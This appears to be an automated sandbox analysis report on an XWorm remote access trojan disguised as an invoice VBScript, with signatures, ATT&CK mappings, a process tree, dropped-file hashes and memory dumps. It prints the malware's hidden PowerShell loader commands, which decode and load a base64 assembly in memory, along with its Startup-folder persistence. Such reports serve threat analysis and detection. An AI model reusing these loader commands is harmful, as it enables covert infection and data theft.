xworm | 54d6ed312f9fb65fb6fc95d99ac5c65297017356b184a2ed8677c166ec172625

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 15:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
z1CommercialInvoice-2026_06.vbs
Size 5.2MB
Sample260930-sdhpyavt6k
SHA256 54d6ed312f9fb65fb6fc95d99ac5c65297017356b184a2ed8677c166ec172625
MD5 df18a80bf25fdf3b39db62cc13eb07fc
SHA1 532d5e2b9549a959745930e455231d5369739e71
SHA512 6095d5d335c2b2eacbf11ded5b49bf3a4672abe44b26815df1cd562b44b7120c7ede59d302410e7c789c776ee75f3552ba7e5e0d4c99feceeb9cafda5ec4670b
SSDEEP 384:o4jCepE3hUadtA0GSD3cWfY6SnViBcuPwEscfn58UjM2lZYbRYsX1UEQRLaplPh8:mPNEW
TLSH
T135464AB10811858673B1C8D62BC282F347E464CB35997554ED63DCE094AE35EEACEBE3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution xworm persistence privilege_escalation rat trojan

Malware Config

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/6132-25-0x0000000000400000-0x000000000041C000-memory.dmp	family_xworm

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5628	5188	powershell.exe	84
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2776	5188	powershell.exe	84

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5628	powershell.exe
10	2776	powershell.exe
11	2776	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2776	powershell.exe
2360	powershell.exe
5628	powershell.exe
1188	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scvost.lnk	Caspol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scvost.lnk	Caspol.exe

Executes dropped EXE 2 IoCs

pid	Process
5008	scvost.exe
5684	CasPol.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	Caspol.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1844	WScript.exe
4148	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5628 set thread context of 6132	5628	powershell.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scvost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000_Classes\Local Settings	Caspol.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5628	powershell.exe
5628	powershell.exe
1188	powershell.exe
1188	powershell.exe
5628	powershell.exe
1188	powershell.exe
2776	powershell.exe
2776	powershell.exe
2776	powershell.exe
2360	powershell.exe
2360	powershell.exe
6132	Caspol.exe
6132	Caspol.exe
2360	powershell.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
6132	Caspol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe
5684	CasPol.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	5628	powershell.exe
Token: SeDebugPrivilege	1188	powershell.exe
Token: SeDebugPrivilege	6132	Caspol.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	5684	CasPol.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1844 wrote to memory of 1188	1844	WScript.exe	92
PID 5628 wrote to memory of 6132	5628	powershell.exe	94
PID 5628 wrote to memory of 6132	5628	powershell.exe	94
PID 5628 wrote to memory of 6132	5628	powershell.exe	94
PID 5628 wrote to memory of 6132	5628	powershell.exe	94
PID 5628 wrote to memory of 6132	5628	powershell.exe	94
PID 6132 wrote to memory of 4148	6132	Caspol.exe	97
PID 4148 wrote to memory of 2360	4148	WScript.exe	100
PID 6132 wrote to memory of 1196	6132	Caspol.exe	102
PID 1196 wrote to memory of 2520	1196	csc.exe	104
PID 6132 wrote to memory of 5684	6132	Caspol.exe	105
PID 6132 wrote to memory of 4984	6132	Caspol.exe	107
PID 4984 wrote to memory of 4912	4984	csc.exe	109

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\z1CommercialInvoice-2026_06.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$pathobiology=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$spongiarian=[Convert]::FromBase64String($pathobiology);[AppDomain]::CurrentDomain.Load($spongiarian)|Out-Null;[Win32.RMP.Cls_FKTnDIbOZV]::Met_FKTnDIbOZVlQ('oKWrwplgjPLhWsa/v6JARANQtmKcH2DoPuwmbhOqCdd2lirX4vQhg0Gk0FCuFiQ1','','SA1FLpP4NvfpSsmFIIub6KDxQ+OIHmCG/RMPiSYQON/ly5yVmAO9pSxyJ7/RbMEG','AQ3fQ7DQQZORFSDFmld7ng8H6D31FhpIm5oSkOD5IsM=','m4U0Af+YGQUwiXKbrol6LteRpuee4/FcS8LCkYIana8=','','7wB2tC21wxMRwu1SNuS1aGRyAK+AeHIRklkUt64Iiv4=','','','3/mYIYrhnVfmcjkurLMZxh4ltHpJkNSz9lGDmcLGLeUZybj0EYKrl5D3pvWpbLZ+','4W9B9KBLYVxo9V0kMy+4YXkbzYD4+Sg5W6tNikuSi5g=','/qio8KYy47YY9PWmRBCzQU9ISvmWg/frw+V2cPJahag=','vUoCtMiNQDo25Na65bFJlX2+LSe4tYxyW8JncQNsWWg=','','Ftw/ZG/NFMwmzOw1PbXzSHwbyL26o073hJ3zIFmKm6Q=','6oghPup3BvrYcFOeSIUswcE68Mnlk7OrodpMHosCjTY=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$pathobiology=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$spongiarian=[Convert]::FromBase64String($pathobiology);[AppDomain]::CurrentDomain.Load($spongiarian)|Out-Null;[Win32.RMP.Cls_FKTnDIbOZV]::Met_FKTnDIbOZVlQ('oKWrwplgjPLhWsa/v6JARANQtmKcH2DoPuwmbhOqCdd2lirX4vQhg0Gk0FCuFiQ1','','SA1FLpP4NvfpSsmFIIub6KDxQ+OIHmCG/RMPiSYQON/ly5yVmAO9pSxyJ7/RbMEG','AQ3fQ7DQQZORFSDFmld7ng8H6D31FhpIm5oSkOD5IsM=','m4U0Af+YGQUwiXKbrol6LteRpuee4/FcS8LCkYIana8=','','7wB2tC21wxMRwu1SNuS1aGRyAK+AeHIRklkUt64Iiv4=','','','3/mYIYrhnVfmcjkurLMZxh4ltHpJkNSz9lGDmcLGLeUZybj0EYKrl5D3pvWpbLZ+','4W9B9KBLYVxo9V0kMy+4YXkbzYD4+Sg5W6tNikuSi5g=','/qio8KYy47YY9PWmRBCzQU9ISvmWg/frw+V2cPJahag=','vUoCtMiNQDo25Na65bFJlX2+LSe4tYxyW8JncQNsWWg=','','Ftw/ZG/NFMwmzOw1PbXzSHwbyL26o073hJ3zIFmKm6Q=','6oghPup3BvrYcFOeSIUswcE68Mnlk7OrodpMHosCjTY=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5628
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Creates a file in the Startup directory
  - Accesses Microsoft Outlook profiles
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:6132
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bnckym.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4148
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$selfheals=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$stibide=[Convert]::FromBase64String($selfheals);[AppDomain]::CurrentDomain.Load($stibide)|Out-Null;[Win32.RMP.Cls_OgWignSvmo]::Met_OgWignSvmorS('i/4qgaR8WjrCM4+57bvtdI1p40Pxy1Kgne8Tlf/jH9OhVn9LEFbA4KwcBCtD6PgVrjuAt1cgN26Zu+E32oC0AA==','','hQcQAgfPaRuSGqI3gztaL501pMQLbGU/CP5kuhiLi6y/gBjSy2zWJrn6U7oYyF3L','WSuGKBH3G0fdNzjhEesWBO+nZnPIbLK1u950bm/d9Zg=','yJohqHBPbxnusCMDKXSmfQ6ZhJAYK1JS0bX2n41a9tU=','','+UR4j2zpBVi6zWAa7ZwTOMdjaB+0O003Okr/ShAwx0g=','','','SrsPWmTtAa1aiL2zIYgm25lxleIpRob8FTJaBbXxFUHrdjHZLaAyVyHaC4DZ94C+','FuTnPaYABCfO+qb9E3HQLk9aZVOz1FVLMf00vxO6Oc8=','bR5O+DsHeXx/rDawIwXOgP4o7Rm9O7cheiuW5H6S2fc=','1wQorG7ZCk0OEXV1xvftyC35R/6G1KqFT3YsBQ9RCgY=','','v/keUdTQ6biKWJemSBnVEcZw/zrI9VVoorpkSrq+Ovw=','Tad0bidRHSDFB97mK6gnbwmofEQrQG62FaArh/ryN6U=','','','')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2360
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_e4989f33f357422daf823066875fbcdd.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1196
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB1A3.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC99DE0E6CCB0D47FF8AAED48E86A08ECA.TMP"
      4⤵
      PID:2520
- - C:\Users\Admin\AppData\Local\Temp\CasPol.exe
    "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 6132
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5684
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_7cb55417ea054d1781f638c4bccf4de3.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF7B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCD678C7D610044F9955D32F086384766.TMP"
      4⤵
      PID:4912

C:\PROGRA~3\scvost.exe
C:\PROGRA~3\scvost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$selfheals=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$stibide=[Convert]::FromBase64String($selfheals);[AppDomain]::CurrentDomain.Load($stibide)|Out-Null;[Win32.RMP.Cls_OgWignSvmo]::Met_OgWignSvmorS('i/4qgaR8WjrCM4+57bvtdI1p40Pxy1Kgne8Tlf/jH9OhVn9LEFbA4KwcBCtD6PgVrjuAt1cgN26Zu+E32oC0AA==','','hQcQAgfPaRuSGqI3gztaL501pMQLbGU/CP5kuhiLi6y/gBjSy2zWJrn6U7oYyF3L','WSuGKBH3G0fdNzjhEesWBO+nZnPIbLK1u950bm/d9Zg=','yJohqHBPbxnusCMDKXSmfQ6ZhJAYK1JS0bX2n41a9tU=','','+UR4j2zpBVi6zWAa7ZwTOMdjaB+0O003Okr/ShAwx0g=','','','SrsPWmTtAa1aiL2zIYgm25lxleIpRob8FTJaBbXxFUHrdjHZLaAyVyHaC4DZ94C+','FuTnPaYABCfO+qb9E3HQLk9aZVOz1FVLMf00vxO6Oc8=','bR5O+DsHeXx/rDawIwXOgP4o7Rm9O7cheiuW5H6S2fc=','1wQorG7ZCk0OEXV1xvftyC35R/6G1KqFT3YsBQ9RCgY=','','v/keUdTQ6biKWJemSBnVEcZw/zrI9VVoorpkSrq+Ovw=','Tad0bidRHSDFB97mK6gnbwmofEQrQG62FaArh/ryN6U=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scvost.exe

Path C:\PROGRA~3\scvost.exe
Size 99KB
SHA256 57e9675902b443085e37ead57dfed97de6bb61321682bc93aff30f16b5ca5aeb
MD5 f61fa5ce25f885a9b1f549055c9911ed
SHA1 aba1c035b06017b0b0bd1c712669646e4f3765ab
SHA512 02e3db343037294fd3b774f954c9a617a50715e6b89d7c409f3c7dc5a1cf5ed9418158c442e9e80111994da139a9a16db33ac68a833d6d115c4a41bdf75751ac
SSDEEP 1536:VSF7vAYeRqH3ex0Jj/3MZpEktOgl6mdcQ6A4vrZZ1RpvlWN4wpzh:qAYeXGJy96mdclA4vrNRpvlsld
TLSH
T140A3B465B3FD1224F2FF8B70ADF89452453BBD9BA951C26D2C89028906327C1D922F77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
MD5 ccd060f9f366be151fe026216473d89d
SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

CasPol.exe

Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
Size 5KB
SHA256 093279312249e1e9d6c9f994bcc90921b7ed9ebcf3f6d07767beef5153378708
MD5 4165beef966327556751f73c9db7e12e
SHA1 67516f4a070031c8c313cb5cbf170ed027d13a73
SHA512 1207c1b97749a79f7e6e7fad25116a6a57bf186f4121f96fe39e4596b24fe053670341b09f6ab2965efca33fc36c8786502bde0f2b40673609d321913e9e50c8
SSDEEP 96:Fdew7V9qOOoT8BynqgHlNxNEC7yKk2zNt:Fv2OOWoyqgHjoC70Q
TLSH
T1B8C1A347979843A6D0620731B8B303512778E9225B6BABAF24E4137A2EB639009533F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESB1A3.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB1A3.tmp
Size 1KB
SHA256 a0c6b9f2ad77549b6ef7683bbd5d35f30863aa812c22ca6cfbf1399af3e9dfe9
MD5 0523fefd977ddcf7f66766a2e02aa9bb
SHA1 c1dbc43f55d7b0dba216a865dc91af20578d7845
SHA512 948613551e2bcffe5e9db1510871a16f710dda33ecf87307164d59cf94c53a7af2a55b154be7ecace962bb280ccd74c21bc20c2b20785b402e9f71f94db8ded4
TLSH
T10A41334183E84B1EE172077168F74325A234FF65AE9A475E7488132E1E02740DDC36B2
MD5 SHA1 SHA512 TLSH

Submit Download

RESCF7B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESCF7B.tmp
Size 1KB
SHA256 e45fe4d2fb95cf741fb01af0c78bde6c280f85f353d060acc13cb29f2162478b
MD5 e0545b2238bc8f04b178f568629eb02c
SHA1 34726cfca587398dfc4d10e11389f9e90b3aaa4b
SHA512 735ff30979e2a0ef38b8a24d18d03b0bc14a6a69c1e17541273ff3120686631cf129359c409856d03f9b0327db44d4ec30d81858dd2f8d3659b42124a9ee672a
TLSH
T1C741114183E84B1FE172077128F79725A674BF659EAA575D7488132F1F02740DDC36B2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3gujh0sc.2p4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gujh0sc.2p4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bnckym.vbs

Path C:\Users\Admin\AppData\Local\Temp\bnckym.vbs
Size 4.6MB
SHA256 5af5cf9563985cf0543e6025cfb453f18ace48380b964fd815d9344141cb2dfd
MD5 ae309f56467d667ae3094db5b7b18675
SHA1 bb1c43e99ff824d4ab21fe9b1ea6a93a5e401215
SHA512 6101c00d3c50aa2e0be4d603d45b4be4895ea6c803428726edb2f573280977d0abf276358b16b1afcb90ff359ad145e14a06e1150b437d6ed65e3ed699111355
SSDEEP 768:3OHMs8848888A8888++V88JG888888888s88888888888888888888888888888D:LsrtTMM
TLSH
T181264A1DB89933C446D9C271F0961AEBEA64353B439EBF9FAAF929301B3F345590042D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC99DE0E6CCB0D47FF8AAED48E86A08ECA.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC99DE0E6CCB0D47FF8AAED48E86A08ECA.TMP
Size 1KB
SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
MD5 50f536e2c49cc088dc7219c2d625a3ae
SHA1 944c94a195dabccf5e99a03a0023097e0c7d05fa
SHA512 77215a61297d80a335cc891399f4919ab7a7654da10ac254a6968444db89cf5ee2924a1d206d175ef8c16290b3aeca4bbd66fb9142885e75860072dc777d32ee
TLSH
T16421AB45A2E8421EF2B3477079F2C362A16DBF669D7A43EC3488175F2F1690085836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_e4989f33f357422daf823066875fbcdd.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_e4989f33f357422daf823066875fbcdd.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1188-19-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/1188-21-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/1188-23-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/1188-24-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/1188-18-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/1188-20-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/2360-59-0x00000000069E0000-0x0000000006D3B000-memory.dmp

Download

memory/2360-63-0x0000000006820000-0x000000000683E000-memory.dmp

Download

memory/2360-64-0x0000000006870000-0x00000000068BC000-memory.dmp

Download

memory/2360-57-0x0000000006570000-0x00000000065D6000-memory.dmp

Download

memory/2360-54-0x00000000064D0000-0x00000000064F2000-memory.dmp

Download

memory/2360-53-0x0000000005D30000-0x000000000637A000-memory.dmp

Download

memory/2360-51-0x0000000003340000-0x0000000003376000-memory.dmp

Download

memory/2776-52-0x000001E09F1A0000-0x000001E09F1C2000-memory.dmp

Download

memory/5008-39-0x0000000000420000-0x000000000043C000-memory.dmp

Download

memory/5628-29-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-16-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-13-0x0000017776DB0000-0x0000017776DD2000-memory.dmp

Download

memory/5628-1-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-2-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-12-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-11-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-5-0x00000177769F0000-0x0000017776A12000-memory.dmp

Download

memory/5628-15-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-14-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-28-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-6-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-7-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-10-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5628-0-0x00007FFDE1C8F000-0x00007FFDE1C90000-memory.dmp

Download

memory/5628-17-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp

Download

memory/5684-73-0x0000000000D10000-0x0000000000D18000-memory.dmp

Download

memory/6132-78-0x0000000009940000-0x0000000009FBC000-memory.dmp

Download

memory/6132-31-0x0000000005590000-0x00000000055F6000-memory.dmp

Download

memory/6132-32-0x0000000005CA0000-0x000000000625A000-memory.dmp

Download

memory/6132-60-0x0000000007D50000-0x0000000007D58000-memory.dmp

Download

memory/6132-77-0x0000000008450000-0x000000000846A000-memory.dmp

Download

memory/6132-25-0x0000000000400000-0x000000000041C000-memory.dmp

Download

memory/6132-80-0x0000000008550000-0x0000000008572000-memory.dmp

Download

memory/6132-81-0x00000000086C0000-0x000000000870A000-memory.dmp
